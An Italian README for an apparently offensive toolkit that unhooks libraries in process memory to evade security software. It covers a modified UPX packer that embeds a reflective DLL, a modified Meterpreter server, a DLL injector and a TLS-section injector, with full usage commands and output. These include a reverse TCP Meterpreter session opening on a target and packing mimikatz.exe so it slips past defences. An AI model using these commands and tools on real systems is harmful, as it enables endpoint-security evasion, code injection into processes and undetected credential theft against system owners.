
DLL riflessiva che analizza la memoria dei processi e rimuove gli hook dalle librerie caricate per eludere i software di sicurezza, con integrazione UPX, iniettore TLS e Meterpreter.
DLLRefresher.exe è un harness di test autonomo per scansionare lo spazio di memoria del processo e rimuovere gli hook dalle librerie attualmente caricate.
I binari UPX pacchettizzati sono stati modificati per supportare un parametro aggiuntivo (-X <path/to/target.dll>) da incorporare nel binario pacchettizzato. Il binario finale pacchettizzato con UPX decomprimerà in memoria l'eseguibile di destinazione e chiamerà la DLL incorporata prima di saltare al punto di ingresso originale dell'eseguibile.
Il codice sorgente modificato di UPX è disponibile @ https://github.com/CylanceVulnResearch/upx/tree/reflective_dll
Utilizzo:
upx -o <output filename> -X <path/to/embed.dll> <target executable>
Esempio:
upx -o packed_binary.exe -X ReflectiveDLL.x86.dll target_binary.exe
Il file metsrv.dll (e i plugin associati nella cartella meterpreter) è un server meterpreter modificato che rimuove gli hook dalle librerie attualmente caricate prima di eseguire l'inizializzazione di meterpreter.
Utilizzo:
Copiare tutte le DLL dalla cartella meterpreter in metasploit-framework/data/meterpreter/ e ottenere l'esecuzione di meterpreter sul target come di consueto.
Esempio:
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > run
[*] Started reverse TCP handler on 10.10.10.171:4444
[*] Starting the payload handler...
WARNING: Local file /usr/share/metasploit-framework/data/meterpreter/metsrv.x64.dll is being used
[*] Sending stage (1195055 bytes) to 10.10.10.186
[*] Meterpreter session 1 opened (10.10.10.171:4444 -> 10.10.10.186:58657) at 2016-10-03 10:07:39 -0400
WARNING: Local file /usr/share/metasploit-framework/data/meterpreter/ext_server_stdapi.x64.dll is being used
meterpreter > WARNING: Local file /usr/share/metasploit-framework/data/meterpreter/ext_server_priv.x64.dll is being used
Inject.exe è un'utilità di supporto per iniettare una determinata DLL in qualsiasi processo.
Utilizzo:
Inject.exe <pid> <filename>
Esempio:
Inject.exe 2964 ReflectiveDLLRefresher.x86.dll
[+] Injected the 'ReflectiveDLLRefresher.x86.dll' DLL into process 2964.
La DLL può essere iniettata tramite una sessione meterpreter utilizzando il modulo post/windows/manage/reflective_dll_inject.
Utilizzo:
msf > use post/windows/manage/reflective_dll_inject
msf post(reflective_dll_inject) > set PATH /path/to/ReflectiveDLLRefresher.x86.dll
msf post(reflective_dll_inject) > set SESSION <session-id>
msf post(reflective_dll_inject) > set PID <pid of meterpreter session>
msf post(reflective_dll_inject) > run
Esempio:
msf > use post/windows/manage/reflective_dll_inject
msf post(reflective_dll_inject) > set PATH /path/to/ReflectiveDLLRefresher.x86.dll
msf post(reflective_dll_inject) > set SESSION 1
msf post(reflective_dll_inject) > set PID 4068
msf post(reflective_dll_inject) > run
[*] Running module against WIN10DEV
[*] Injecting /root/ReflectiveDLLRefresher.x86.dll into 4068 ...
[*] DLL injected. Executing ReflectiveLoader ...
[+] DLL injected and invoked.
[*] Post module execution completed
tlsInjector.py è una versione modificata dello script di Borja Merino per supportare l'iniezione riflessiva di DLL. Prende una DLL riflessiva e la inietta nella sezione TLS di un eseguibile a 32 bit (64 bit non supportato).
Utilizzo:
python tlsInjector.py -l <path/to/embed.dll> -f <target executable> -o <output filename> -t
Esempio:
python tlsInjector.py -l ReflectiveDLLRefresher.x86.dll -f mimikatz.exe -o mimikatz_tls.exe -t